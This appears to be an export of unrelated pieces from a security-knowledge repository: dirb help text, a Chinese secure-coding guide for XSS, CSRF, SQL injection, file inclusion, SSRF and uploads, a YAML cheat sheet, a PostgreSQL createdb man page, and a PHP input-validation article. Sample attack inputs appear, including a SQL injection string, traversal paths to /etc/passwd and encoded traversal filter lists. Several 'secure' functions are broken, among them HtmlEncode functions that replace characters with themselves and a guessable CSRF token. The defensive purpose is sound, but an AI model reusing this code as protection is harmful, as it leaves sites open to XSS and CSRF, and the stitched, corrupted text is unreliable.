‐R : Interactive recursion. (Asks for each directory)
‐S : Silent Mode. Don't show tested words. (For dumb terminals)
‐t : Don't force an ending '/' on URLs.
‐u <username:password> : HTTP Authentication.
‐v : Show also NOT_FOUND pages.
‐w : Don't stop on WARNING messages.
‐X <extensions> / ‐x <exts_file> : Append each word with this extensions.
‐z <millisecs> : Add a milliseconds delay to not cause excessive Flood.
======================== EXAMPLES =======================
dirb http://url/directory/ (Simple Test)
dirb http://url/ ‐X .html (Test files with '.html' extension)
dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test wit hapache.txt wordlist)
dirb https://secure_url/ (Simple Test with SSL)
```

> Micropoor
|
sec-knowleage
|
## 1、 跨站脚本XSS
### 1.1反射xss
#### 1.1.1 输出在html 标签内或者普通属性(非href、非事件类)
调用如下的HtmlEncode 函数进行编码,php 示例代码,其他语言可以参照实现。
``` php
function HtmlEncode($str)
{
$str = str_replace("&","&", $str);
$str = str_replace(">",">", $str);
$str = str_replace("<","<", $str);
$str = str_replace("\"",""", $str);
$str = str_replace("'","'", $str);
$str = preg_replace("/\s+/"," ", $str);
return $str;
}
```
注:为了预防业务将参数输出至属性值时未使用引号包裹的情况,这里自己实现的HtmlEncode 也将空格编码。
#### 1.1.2 输出在html 标签的 href 属性内
一般来说,如果变量是完整的url,应该先检查下是否以^http开头,且目的域名是允许的域名列表内,以保证不会出现伪协议类的XSS攻击。接着使用 HtmlEncode编码下;或者因为此处是地址栏,可以用 php标准函数urlencode 编码变量。
#### 1.1.3 输出在html 标签的事件属性内(如onXX 事件)
使用 jsencode(\uUUUU) 编码,php 示例代码,其他语言可以参照实现。
``` php
function jsencode($str)
{
$arr = array();
$str_len = strlen($str);
$need_encode = "<>\"&#`()[]';";
for($i = 0; $i < $str_len; $i++)
{
if (strpos($need_encode, $str[$i]))
{
$arr[$i] = "\\u00" . bin2hex($str[$i]);
}
else
{
$arr[$i] = $str[$i];
}
}
return join("", $arr);
}
```
#### 1.1.4 在富文本框内进行过滤
参考 [这里](https://gist.github.com/JnuSimba/33743009db744a47579002e8e042e2fb) 进行标签和属性的白名单过滤。
### 1.2 存储XSS
同反射XSS,在输出变量时参照如上情形描述。
### 1.3 DOMXSS
在"$var" 输出到`<script>` 时,应该执行一次 jsencode(\uUUUU);其次,在document.write 输出到页面 html 页面时,要分具体情况对待:如果是输出到事件或者脚本,则要再做一次 jsEncode;如果是输出到 html 内容或者属性,则要再做一次 HtmlEncode。
如下情况属于后者,即 HtmlEncode (jsencode($var))
``` html
<script>
var x = "$var";
document.write("<a href='"+x+"' >test</a>");
</script>
```
Javascript 函数代码示例如下:
``` javascript
function jsencode(str) {
var arr = [];
var need_encode = "<>\"&#`()[]';";
for (var i = 0; i < str.length; i++) {
if (need_encode.indexOf(str[i]) != -1)
{
arr[i] = ("\\u00" + str.charCodeAt(i).toString(16)).slice(-6);
}
else
{
arr[i] = str[i];
}
}
return arr.join("");
}
function HtmlEncode(sStr)
{
sStr = sStr.replace(/&/g,"&");
sStr = sStr.replace(/>/g,">");
sStr = sStr.replace(/</g,"<");
sStr = sStr.replace(/"/g,""");
sStr = sStr.replace(/'/g,"'");
sStr = sStr.replace(/\s+/g," ");
return sStr;
}
```
在使用location.href / location.replace() / location.assign() 等函数实现前端跳转时不止要考虑url 任意跳转的问题,如1.1.2 所说也要避免伪协议引起的xss攻击。
### 1.4 flash xss
建议不再使用的swf请下线,其他有漏洞的swf请更新至官方最新版,或者用其他功能类似swf 替代实现。
## 2、 跨站请求伪造CSRF
### 2.1 校验refer
Refer 校验需要严格的正则,比如 `/^http://www.qq.com/index.html$/`,否则可能被绕过。但是某些情况下发出的情况Refer 为空甚至以前曾经出现过flash请求可以伪造Refer,故更敏感的一些操作建议使用验证token方式。
### 2.2 验证token
即在页面埋下隐藏的动态token值,后端逻辑对这个token 值进行验证,如果不正确则直接退出。php 代码示例如下:
``` php
<?php
session_start();
if (isset($_SESSION['token']) && isset($_POST['username'])) {
if (empty($_POST['token']) || $_POST['token'] != $_SESSION['token']) {
header('Location: http://localhost/error.php?token=' . $_SESSION['token']);
exit(-1);
}
}
$token = md5(time());
$_SESSION['token'] = $token;
?>
<html>
<head>
<title>test with csrf token</title>
</head>
<body>
<form method="post" action="/csrf.php" id="form">
<div>
<input name="username" type="text" id="username" style="width:270px;"/>
<input type="submit" name="btnSearch" value="Search" id="btnSearch" />
<input type="hidden" name="token" id="token" value="<?php echo $token;?>" />
</div>
</form>
<br/>
</body>
</html>
```
### 2.3 验证码
在特别关键的操作建议启用,其他操作建议预埋验证码,紧急时刻(如出现CSRF蠕虫)可以临时启用。
## 3、SQL 注入
### 3.1 首选绑定参数的方式进行sql 操作
PHP5中,增加了MySQL支持,提供了mysqli扩展:
PHP手册地址:http://php.net/mysqli
``` php
<?php
// retrieve the user's input
$animalName = $_POST['animalName'];
// connect to the database
$connect = mysqli_connect('localhost', 'username', 'password', 'database');
if (!$connect)
exit('connection failed: ' . mysqli_connect_error());
// create a query statement resource
$stmt = mysqli_prepare($connect, "SELECT intelligence FROM animals WHERE name = ?");
if ($stmt) {
// bind the substitution to the statement
mysqli_stmt_bind_param($stmt, "s", $animalName);
// execute the statement
mysqli_stmt_execute($stmt);
// retrieve the result...
mysqli_stmt_bind_result($stmt, $intelligence);
// ...and display it
if (mysqli_stmt_fetch($stmt)) {
print "A $animalName has $intelligence intelligence.\n";
} else {
print 'Sorry, no records found.';
}
// clean up statement resource
mysqli_stmt_close($stmt);
}
mysqli_close($connect);
?>
```
### 3.2 检测参数类型,添加转义
如果php版本太低,或者改造代码成本比较大,在使用参数拼接方式实现sql 操作时,务必做到以下两点:
#### 3.2.1 检查参数类型
当用户输入的为数字时可以使用如下方式:
使用is_int()函数(或is_integer()或is_long()函数)
使用gettype()函数
使用intval()函数
使用settype()函数
检查用户输入字符串的长度使用strlen()函数。
检查日期或时间是否是有效的,可以使用strtotime()函数。
#### 3.2.2 查询之前进行转义操作
对于一个已经存在的程序来说,可以写一个通用函数来过滤:
``` php
function safe($string)
{
return "'" . mysql_real_escape_string($string) . "'";
}
```
调用方式:
``` php
$variety = safe($_POST[' variety ']);
$query = "SELECT * FROM wines WHERE variety=" . $variety;
```
注:mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用,否则只能用 mysql_escape_string,转义字符有:\x00 , \n , \r , \ , ' , " and \x1a。
Safe 函数中需要将转义之后的字符串用引号包裹起来(对于int类型说查询结果一致),否则黑客本来就不用考虑去闭合引号,转义操作也等于没有效果。
如果数据库字符集是gbk,可能存在宽字节绕过问题,需要在查询之前设置一下character_set_client,如下所示:
`mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);`
## 4、文件包含漏洞
### 4.1 本地文件包含
php中可以使用 open_basedir 将用户文件访问限制在指定的区域。如将文件访问限制在 /dir/user/ 中,在php.ini中设置 open_basedir = /dir/user/。
对包含文件的名称、路径进行严格限制和过滤(建议白名单方式),避免被篡改为恶意文件,单纯过滤 ”../” 等相对路径串很可能会被绕过。过滤以下字符(以逗号分隔):
`../, %2e%2e%2f, %2e%2e/, ..%2f, %2e%2e%5c, %2e%2e\, ..%5c, %252e%252e%255c, ..%c0%af(仅windows需要), ..%c1%9c(仅windows需要)`
### 4.2 远程文件包含
关闭allow_url_fopen、allow_url_include。
## 5、命令执行漏洞
对于传入的变量做过滤,对于 \n $ & ; | ' " ( ) `(反单引号) 过滤或转义这些特殊字符。
## 6、SSRF 服务端请求伪造
1. 限制 C(libcurl)/php(cURL) 允许的协议
如设置CURLPROTO_HTTP选项,仅仅允许http和https请求,可以防止类似于file:///, gopher://, ftp:// 等引起的问题。
2. 限制访问内网
从url 中提取出域名 www.test.com ,解析域名,获得域名指向的地址 X.X.X.X
检查地址是否为内网地址段:10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8等,
如果是内网地址则屏蔽;
如果不是内网地址,设置 CURLOPT_RESOLVE(libcurl),使libcurl 将域名解析到我们刚才解析出的ip 地址进行访问,即真正发起请求时不再进行dns解析,避免被 [dns rebinding](https://ricterz.me/posts/Use%20DNS%20Rebinding%20to%20Bypass%20IP%20Restriction) 绕过。
3. 避免30x 跳转绕过
设置不跟随跳转,即设置 CURLOPT_FOLLOWLOCATION 为false。如果一定要跟随跳转,这里因为使用了库函数,故不能自己在跟随跳转前判断下域名解析的目标ip 是否是内网(如2),但可以通过设置 CURLOPT_OPENSOCKETFUNCTION 回调函数,在socket 创建之前先校验目标地址。
// curl_easy_setopt(curl, CURLOPT_OPENSOCKETFUNCTION, opensocket_callback);
``` c
curl_socket_t opensocket_callback(void *clientp, curlsocktype purpose,
struct curl_sockaddr *addr)
{
struct sockaddr_in *addr_in = (struct sockaddr_in *) &addr->addr;
unsigned int uip = ntohl(addr_in->sin_addr.s_addr);
char ipbuf[50];
inet_ntop(addr_in->sin_family, &addr_in->sin_addr, ipbuf, sizeof(ipbuf));
INF("Connect IP: %s\n", ipbuf);
if ((uip >= 0x7F000000 && uip <= 0x7FFFFFFF) ||
(uip >= 0x0A000000 && uip <= 0x0AFFFFFF) ||
(uip >= 0xAC100000 && uip <= 0xAC1FFFFF) ||
(uip >= 0xC0A80000 && uip <= 0xC0A8FFFF) ||
(uip == 0x00000000 || uip == 0xFFFFFFFF))
{
//过滤来自内网的访问
WRN("target ip is illegal.\n");
return CURL_SOCKET_BAD;
}
return socket(addr->family, addr->socktype, addr->protocol);
}
```
这样,每当libcurl 试图创建socket 连接某个服务器时,都会先执行 opensocket_callback 回调函数。若目标地址不合法,则可以在这个回调函数中返回CURL_SOCKET_BAD,libcurl 也会因此无法建立连接返回失败。
## 7、文件上传漏洞
### 7.1 目录安全配置
如果Apache以daemon普通用户启动,则黑客通过网站漏洞入侵服务器后,将获得Apache的daemon权限,因此需要确认网站web目录和文件的属主与Apache启动用户不同,防止网站被黑客恶意篡改和删除。
a) 网站web目录和文件的属主可以设置为root等(非Apache启动用户)。
b) Web目录权限统一设置为755,web文件权限统一设置为644(cgi文件若需执行权限可设置为755),只有上传目录等需要可读可写权限的目录可以设置为777(目录需要有执行权限才可进入)。
目录默认不可写,可写目录不解析,Web Server非root,管理页面不对外。
### 7.2判断文件类型
可以结合使用mime type、后缀方式、文件头部(getimagesize /exif_imagetype),强烈推荐白名单方式。
### 7.3 改写文件名和路径
使用随机数改写文件名和文件路径;或者把文件放在非web 目录下(或者统一的一个文件服务器),且设置open_basedir 以避免被文件包含。
### 7.4上传目录只允许访问特定类型的文件
配置文件如下:
```
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>
```
## 8、管理后台
管理后台默认不对外开放,如果一定要对外开放,需要有安全配置。
对于管理目录,需要做到只允许合法ip(一般内网)可以访问,nginx限制白名单ip访问的配置如下:
```
location ~ ^/private/ {
allow 192.168.1.0/24;
deny all;
}
```
管理目录建议启用密码认证,密码认证依靠Web应用自身的认证机制。如果Web应用无认证机制,可启用nginx(apache同理)的密码认证机制,配置如下:
```
location ^~ /soft/ {
location ~ .*\.(php|php5)?$ {
fastcgi_pass unix:/tmp/php-cgi.sock;#这里按照你自己的设置
fastcgi_index index.php;
include fcgi.conf;
}
auth_basic "Authorized users only";
auth_basic_user_file 这里写前面脚本返回的文件路径;
}
```
|
sec-knowleage
|
---
title: YAML
date: 2020-12-29 18:26:55
background: bg-[#b42e28]
tags:
- config
- format
categories:
- Programming
intro: |
This is a quick reference cheat sheet for understanding and writing YAML format configuration files.
plugins:
- copyCode
---
Getting Started
---------------
### Introduction
[YAML](https://yaml.org/) is a data serialisation language designed to be directly writable and readable by humans
- YAML does not allow the use of tabs
- Must be space between the element parts
- YAML is CASE sensitive
- End your YAML file with the `.yaml` or `.yml` extension
- YAML is a superset of JSON
- Ansible playbooks are YAML files
{.marker-round}
### Scalar types {.row-span-2}
```yaml
n1: 1 # integer
n2: 1.234 # float
s1: 'abc' # string
s2: "abc" # string
s3: abc # string
b: false # boolean type
d: 2015-04-05 # date type
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"n1": 1,
"n2": 1.234,
"s1": "abc",
"s2": "abc",
"s3": "abc",
"b": false,
"d": "2015-04-05"
}
```
Use spaces to indent. There must be space between the element parts.
### Variables
```yaml
some_thing: &VAR_NAME foobar
other_thing: *VAR_NAME
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"some_thing": "foobar",
"other_thing": "foobar"
}
```
### Comments
```yaml
# A single line comment example
# block level comment example
# comment line 1
# comment line 2
# comment line 3
```
### Multiline strings
```yaml
description: |
hello
world
```
#### ↓ Equivalent JSON
```json {.wrap}
{"description": "hello\nworld\n"}
```
### Inheritance {.row-span-2}
```yaml
parent: &defaults
a: 2
b: 3
child:
<<: *defaults
b: 4
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"parent": {
"a": 2,
"b": 3
},
"child": {
"a": 2,
"b": 4
}
}
```
### Reference {.row-span-2}
```yaml
values: &ref
- Will be
- reused below
other_values:
i_am_ref: *ref
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"values": [
"Will be",
"reused below"
],
"other_values": {
"i_am_ref": [
"Will be",
"reused below"
]
}
}
```
### Folded strings
```yaml
description: >
hello
world
```
#### ↓ Equivalent JSON
```json {.wrap}
{"description": "hello world\n"}
```
### Two Documents
```yaml
---
document: this is doc 1
---
document: this is doc 2
```
YAML uses `---` to separate directives from document content.
YAML Collections
-----------
### Sequence
```yaml
- Mark McGwire
- Sammy Sosa
- Ken Griffey
```
#### ↓ Equivalent JSON
```json {.wrap}
[
"Mark McGwire",
"Sammy Sosa",
"Ken Griffey"
]
```
### Mapping
```yaml
hr: 65 # Home runs
avg: 0.278 # Batting average
rbi: 147 # Runs Batted In
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"hr": 65,
"avg": 0.278,
"rbi": 147
}
```
### Mapping to Sequences
```yaml
attributes:
- a1
- a2
methods: [getter, setter]
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"attributes": ["a1", "a2"],
"methods": ["getter", "setter"]
}
```
### Sequence of Mappings
```yaml
children:
- name: Jimmy Smith
age: 15
- name: Jimmy Smith
age: 15
-
name: Sammy Sosa
age: 12
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"children": [
{"name": "Jimmy Smith", "age": 15},
{"name": "Jimmy Smith", "age": 15},
{"name": "Sammy Sosa", "age": 12}
]
}
```
### Sequence of Sequences
```yaml
my_sequences:
- [1, 2, 3]
- [4, 5, 6]
-
- 7
- 8
- 9
- 0
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"my_sequences": [
[1, 2, 3],
[4, 5, 6],
[7, 8, 9, 0]
]
}
```
### Mapping of Mappings
```yaml
Mark McGwire: {hr: 65, avg: 0.278}
Sammy Sosa: {
hr: 63,
avg: 0.288
}
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"Mark McGwire": {
"hr": 65,
"avg": 0.278
},
"Sammy Sosa": {
"hr": 63,
"avg": 0.288
}
}
```
### Nested Collections
```yaml
Jack:
id: 1
name: Franc
salary: 25000
hobby:
- a
- b
location: {country: "A", city: "A-A"}
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"Jack": {
"id": 1,
"name": "Franc",
"salary": 25000,
"hobby": ["a", "b"],
"location": {
"country": "A", "city": "A-A"
}
}
}
```
### Unordered Sets
```yaml
set1: !!set
? one
? two
set2: !!set {'one', "two"}
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"set1": {"one": null, "two": null},
"set2": {"one": null, "two": null}
}
```
Sets are represented as a Mapping where each key is associated with a null value
### Ordered Mappings
```yaml
ordered: !!omap
- Mark McGwire: 65
- Sammy Sosa: 63
- Ken Griffy: 58
```
#### ↓ Equivalent JSON
```json {.wrap}
{
"ordered": [
{"Mark McGwire": 65},
{"Sammy Sosa": 63},
{"Ken Griffy": 58}
]
}
```
YAML Reference
--------------
### Terms
- Sequences aka arrays or lists
- Scalars aka strings or numbers
- Mappings aka hashes or dictionaries
{.marker-round}
Based on the YAML.org [refcard](https://yaml.org/refcard.html).
### Document indicators
| | |
|-------|---------------------|
| `%` | Directive indicator |
| `---` | Document header |
| `...` | Document terminator |
### Collection indicators {.row-span-2}
| | |
|------|---------------------------------|
| `?` | Key indicator |
| `:` | Value indicator |
| `-` | Nested series entry indicator |
| `,` | Separate in-line branch entries |
| `[]` | Surround in-line series branch |
| `{}` | Surround in-line keyed branch |
### Alias indicators
| | |
|-----|-----------------|
| `&` | Anchor property |
| `*` | Alias indicator |
### Special keys
| | |
|------|---------------------------------|
| `=` | Default "value" mapping key |
| `<<` | Merge keys from another mapping |
### Scalar indicators
| | |
|-------|----------------------------------------------------------------------------------------------|
| `''` | Surround in-line unescaped scalar |
| `"` | Surround in-line escaped scalar |
| `|` | Block scalar indicator |
| `>` | Folded scalar indicator |
| `-` | Strip chomp modifier (`|-` or `>-`) |
| `+` | Keep chomp modifier (`|+` or `>+`) |
| `1-9` | Explicit indentation modifier (`|1` or `>2`). <br/> Modifiers can be combined (`|2-`, `>+1`) |
### Tag Property (usually unspecified) {.col-span-2}
| | |
|----------|-------------------------------------------------------------|
| `none` | Unspecified tag (automatically resolved by application) |
| `!` | Non-specific tag (by default, `!!map`/`!!seq`/`!!str`) |
| `!foo` | Primary (by convention, means a local `!foo` tag) |
| `!!foo` | Secondary (by convention, means `tag:yaml.org,2002:foo`) |
| `!h!foo` | Requires `%TAG !h! <prefix>` (and then means `<prefix>foo`) |
| `!<foo>` | Verbatim tag (always means `foo`) |
### Misc indicators
| | |
|-----|-----------------------------|
| `#` | Throwaway comment indicator |
| <code>\`@</code> | Both reserved for future use |
### Core types (default automatic tags) {.row-span-2}
| | |
|---------|------------------------------------------|
| `!!map` | `{Hash table, dictionary, mapping}` |
| `!!seq` | `{List, array, tuple, vector, sequence}` |
| `!!str` | Unicode string |
### Escape Codes {.row-span-3}
#### Numeric
- `\x12` (8-bit)
- `\u1234` (16-bit)
- `\U00102030` (32-bit)
{.cols-2 .marker-none}
#### Protective
- `\\` (\\)
- `\"` (")
- `\ ` ( )
- `\<TAB>` (TAB)
{.cols-3 .marker-none}
#### C
- `\0` (NUL)
- `\a` (BEL)
- `\b` (BS)
- `\f` (FF)
- `\n` (LF)
- `\r` (CR)
- `\t` (TAB)
- `\v` (VTAB)
{.cols-3 .marker-none}
#### Additional
- `\e` (ESC)
- `\_` (NBSP)
- `\N` (NEL)
- `\L` (LS)
- `\P` (PS)
{.cols-3 .marker-none}
### More types
| | |
|----------|-----------------------------|
| `!!set` | `{cherries, plums, apples}` |
| `!!omap` | `[one: 1, two: 2]` |
### Language Independent Scalar Types {.col-span-2}
| | |
|---------------------------|--------------------------------------------|
| `{~, null}` | Null (no value). |
| `[1234, 0x4D2, 02333]` | [Decimal int, Hexadecimal int, Octal int] |
| `[1_230.15, 12.3015e+02]` | [Fixed float, Exponential float] |
| `[.inf, -.Inf, .NAN]` | [Infinity (float), Negative, Not a number] |
| `{Y, true, Yes, ON}` | Boolean true |
| `{n, FALSE, No, off}` | Boolean false |
Also see
--------
- [YAML Reference Card](https://yaml.org/refcard.html) _(yaml.org)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/yaml/) _(learnxinyminutes.com)_
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
|
sec-knowleage
|
.TH "CREATEDB" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
createdb \- 创建一个新的 PostgreSQL 数据库
.SH SYNOPSIS
.sp
\fBcreatedb\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR\fR [ \fR\fB\fIdescription\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBcreatedb\fR 创建一个新的 PostgreSQL 数据库。
.PP
通常,执行这个命令的数据库用户成为新数据库的所有者。 不过,如果执行用户拥有合适的权限,那么他可以通过 \fB\-O\fP 指定合适的用户。
.PP
\fBcreatedb\fR 是一个 SQL 命令 CREATE DATABASE [\fBcreate_database\fR(7)] 的封装。 因此,用哪种方法创建数据库都没什么特别的。
.SH "OPTIONS 选项"
.PP
\fBcreatedb\fR 接受下列命令行参数:
.TP
\fB\fIdbname\fB\fR
声明要创建的数据库名。该名称应该在本节点的 PostgreSQL 所有数据库里面是唯一的。 缺省是与当前系统用户同名。
.TP
\fB\fIdescription\fB\fR
这个选项声明一个与新创建的数据库相关的注解。
.TP
\fB-D \fIlocation\fB\fR
.TP
\fB--location \fIlocation\fB\fR
声明变更了的数据库集群(节点)的位置。 又见 \fBinitlocation\fR(1).
.TP
\fB-e\fR
.TP
\fB--echo\fR
回显 createdb 生成的命令并且把它发送到服务器。
.TP
\fB-E \fIencoding\fB\fR
.TP
\fB--encoding \fIencoding\fB\fR
声明用于此数据库的字符编码方式。
.TP
\fB-O \fIowner\fB\fR
.TP
\fB--owner \fIowner\fB\fR
指定将拥有新数据库的数据库用户。
.TP
\fB-q\fR
.TP
\fB--quiet\fR
不显示响应。
.TP
\fB-T \fItemplate\fB\fR
.TP
\fB--template \fItemplate\fB\fR
声明创建此数据库的模板数据库。
.PP
.PP
选项 -h,-p,-U, -W,-e 是以文本形式传递给 psql。 选项\fB-O\fR,\fB-D\fR,\fB-T\fR 和 \fB-E\fR 转换为下层的 SQL 命令 CREATE DATABASE [\fBcreate_database\fR(7)] 的选项;参考该条目获取更多相关信息。
.PP
\fBcreatedb\fR 还接受下列命令行参数作为连接参数:
.TP
\fB-h \fIhost\fB\fR
.TP
\fB--host \fIhost\fB\fR
声明运行服务器的主机名。 如果数值以斜扛开头,则它被用做到 Unix 域套接字的路径。
.TP
\fB-p \fIport\fB\fR
.TP
\fB--port \fIport\fB\fR
声明服务器 侦听的等待连接的互联网 TCP 端口或一个本地 Unix 域套接字文件扩展(描述符)。
.TP
\fB-U \fIusername\fB\fR
.TP
\fB--username \fIusername\fB\fR
进行联接的用户名。
.TP
\fB-W\fR
.TP
\fB--password\fR
强制口令提示符。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGDATABASE\fR
如果设置了,那么就是要创建的数据库名字,除非在命令行上覆盖了。
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数。PGUSER 还决定了要创建的数据库名字-- 如果我们没有在命令行上声明数据库名字,也没有用 \fBPGDATABASE\fR 声明的话。
.SH "DIAGNOSTICS 诊断"
.PP
如果出现错误,将会显示后端错误信息。参阅 CREATE DATABASE [\fBcreate_database\fR(7)] 和 \fBpsql\fR(1) 获取可能信息描述。 数据库服务器必须在目标服务器上运行。同样,前端库 libpq 使用的缺省连接设置和环境变量都将适用。
.SH "EXAMPLES 例子"
.PP
用缺省数据库服务器创建一个数据库 demo:
.sp
.nf
$ \fBcreatedb demo\fR
CREATE DATABASE
.sp
.fi
响应信息与运行 CREATE DATABASE SQL 命令时一样。
.PP
用在主机eden上的服务器创建数据库 demo, 端口是 5000,使用 LATIN1 编码方式,并且显示执行的命令:
.sp
.nf
$ \fBcreatedb -p 5000 -h eden -E LATIN1 -e demo\fR
CREATE DATABASE "demo" WITH ENCODING = 'LATIN1'
CREATE DATABASE
.sp
.fi
.SH "SEE ALSO 参见"
\fBdropdb\fR(1), CREATE DATABASE [\fBcreate_database\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
原文 by 瞌睡龙
## 一、验证过滤用户的输入
即使是最普通的字母数字输入也可能是危险的,列举几个容易引起安全问题的字符:
! $ ^ & * ( ) ~ [ ] \ | { } ' " ; < > ? - `
在数据库中可能有特殊意义的字符:
' " ; \
还有一些非打印字符:
字符\x00或者说ASCII 0,NULL或FALSE
字符\x10和\x13,或者说ASCII 10和13,\n \r
字符\x1a或者说ASCII 26,表示文件的结束
输入错误的参数类型,也可能导致程序出现意想不到的错误。
输入过多的参数值,可能导致溢出等错误。
## 二、PHP中验证用户的输入
这里特别要注意php.ini中的register_globals的设定,在早期的php版本中是默认开启的,这会导致很严重的安全问题:
``` php
<?php
// set admin flag
if ($auth->isAdmin()) {
$admin = TRUE;
}
// ...
if ($admin) {
// do administrative tasks
}
?>
```
上面这段代码看起来是安全的,但是如果register_globals开启了的话,在访问的url中加入`?admin=1`即可绕过前半部分的逻辑判断。
更安全的代码应该给$admin赋默认FALSE值:
``` php
<?php
// create then set admin flag
$admin = FALSE;
if ($auth->isAdmin()) {
$admin = TRUE;
}
// ...
if ($admin) {
// do administrative tasks
}
?>
```
早期人们开发调试的时候发现使用register_globals有极大的便利,所以早期的php版本中默认开启。但是随着越来越多的安全问题,从php 4.2.0开始,register_globals变为了默认关闭。当你发现register_globals是on的时候,你可能会在脚本当中加入如下代码使其关闭:
`ini_set('register_globals', 0);`
但实际上,当所有的全局变量已经创建了之后,以上代码并不会起到作用。但是你可以在文档的根目录下的.htaccess的文件中加上下面这一行: `php_flag register_globals 0`
变量声明:强烈建议总是事先声明变量。
检查输入的类型,长度和格式:
字符串检查:在PHP中,字符串几乎可以是任何事情,但有些值并不是严格的字符串类型,可以用is_string()函数来确定。
有些时候你不介意数字作为字符串,可以用empty()函数。
数字类型检查:使用is_int()函数或者is_integer()或is_long(),例如:
``` php
$year = $_POST['year'];
if (!is_int($year))
exit("$year is an invalid value for year!");
```
也可以使用gettype()函数判断类型后做处理:
``` php
if (gettype($year) != 'integer') {
exit("$year is an invalid value for year!");
}
```
至少还有三种方式可以吧$year变量转变为整数:
``` php
$year = intval($_POST['year']);
$year = ( int ) $_POST['year'];
if (!settype($year, 'integer')) {exit("$year is an invalid value for year!");}
```
如果允许浮点型与零的值,可以使用is_numeric()函数来做判断。 判断一个值是否为布尔型的时候使用is_bool()函数。
下表是对各种类型变量使用各函数判断的结果:

检查字符串的长度使用strlen()变量:
``` php
if (strlen($year) != 4)
exit("$year is an invalid value for year!");
```
概括总结一下PHP中类型,长度,格式等验证:
``` php
<?php
// set up array of expected values and types
$expected = array(
'carModel' => 'string',
'year' => 'int',
'imageLocation' => 'filename'
);
// check each input value for type and length
foreach ($expected AS $key => $type) {
if (empty($_GET[$key])) {
${$key} = NULL;
continue;
}
switch ($type) {
case 'string':
if (is_string($_GET[$key]) && strlen($_GET[$key]) < 256) {
${$key} = $_GET[$key];
}
break;
case 'int':
if (is_int($_GET[$key])) {
${$key} = $_GET[$key];
}
break;
case 'filename':
// limit filenames to 64 characters
if (is_string($_GET[$key]) && strlen($_GET[$key]) < 64) {
// escape any non-ASCII
${$key} = str_replace('%', '_', rawurlencode($_GET[$key]));
// disallow double dots
if (strpos(${$key}, '..') === TRUE) {
${$key} = NULL;
}
}
break;
}
if (!isset(${$key})) {
${$key} = NULL;
}
}
// use the now-validated input in your application
```
对于一些可能有害的字符,可以用如下的几种方式进行保护:
* 使用 \ 对其进行转义。
* 使用引号把他引起来。
* 使用%nn的方式编码,如urlencode()函数。
可以尝试在php.ini中开启magic_quotes_gpc,这样对于所有由用户GET、POST、COOKIE中传入的特殊字符都会转义。
也可以使用addslashes()函数,但是开启magic_quotes_gpc所造成的影响可能远超过益处。addslashes()也只对最常见的四个字符做了转义:单引号、双引号、反斜线、空字符。同时为了使数据还原,需要使用stripslashes()函数,也可能破坏一些多字节的转义。
推荐使用mysql_real_escape_string()函数,虽然只是用来设计转义插入数据库的数据,但是他能转义更多的字符。
如:NULL、\x00、\n、\r、\、'、"和\x1a。使用用例:
``` php
<?php
$expected = array(
'carModel',
'year',
'bodyStyle'
);
foreach ($expected AS $key) {
if (!empty($_GET[$key])) {
${$key} = mysql_real_escape_string($_GET[$key]);
}
}
?>
```
使用mysql_real_escape_string()函数也不是万能的,转义一些并非是要写入mysql的数据库的数据可能不会产生作用或者出现错误。
可以根据自己的实际需要,自己使用str_replace()函数写一个针对特殊字符的转义。
## 三、对于文件的路径与名称的过滤
文件名中不能包含二进制数据,否则可能引起问题。
一些系统允许Unicode多字节编码的文件名,但是尽量避免,应当使用ASCII的字符。
虽然Unix系统几乎可以在文件名设定中使用任何符号,但是应当尽量使用 `- ` 和 ` _` , 避免使用其他字符,同时需要限定文件名的长度。
php中的文件操作通常使用fopen()函数与file_get_contents()函数。
``` php
<?php
$applicationPath = '/home/www/myphp/code/';
$scriptname = $_POST['scriptname'];
highlight_file($applicationPath . $scriptname);
?>
```
上面代码的问题在于用户POST输入的scriptname没有做任何过滤,如果用户输入../../../../etc/passwd,则有可能读取到系统的passwd文件。
``` php
<?php
$uri = $_POST['uri'];
if (strpos($uri, '..'))
exit('That is not a valid URI.');
$importedData = file_get_contents($uri);
```
如果发现 .. 字符串就不执行会不会出现问题呢?如果前面并没有路径限制的话,仍然会出现问题:
使用file协议,当用户输入`file:///etc/passwd`的时候,会把passwd的内容带入$importedData变量中。
## 四、防止SQL注入
### SQL注入是如何产生的:
1、接收一个由用户提交的变量,假设变量为$variety:
`$variety = $_POST['variety'];`
2、接收的变量带入构造一个数据库查询语句:
`$query = "SELECT * FROM wines WHERE variety='$variety'";`
3、把构造好的语句提交给MySQL服务器查询,MySQL返回查询结果。
当由用户输入`lagrein' or 1=1#`时,产生的结果将会完全不同。
### 防止SQL注入的几种方式:
检查用户输入的类型,当用户输入的为数字时可以使用如下方式:
使用is_int()函数(或is_integer()或is_long()函数)
使用gettype()函数
使用intval()函数
使用settype()函数
检查用户输入字符串的长度使用strlen()函数。
检查日期或时间是否是有效的,可以使用strtotime()函数
对于一个已经存在的程序来说,可以写一个通用函数来过滤:
``` php
function safe($string)
{
return "'" . mysql_real_escape_string($string) . "'";
}
```
调用方式:
``` php
$variety = safe($_POST['variety']);
$query = "SELECT * FROM wines WHERE variety=" . $variety;
```
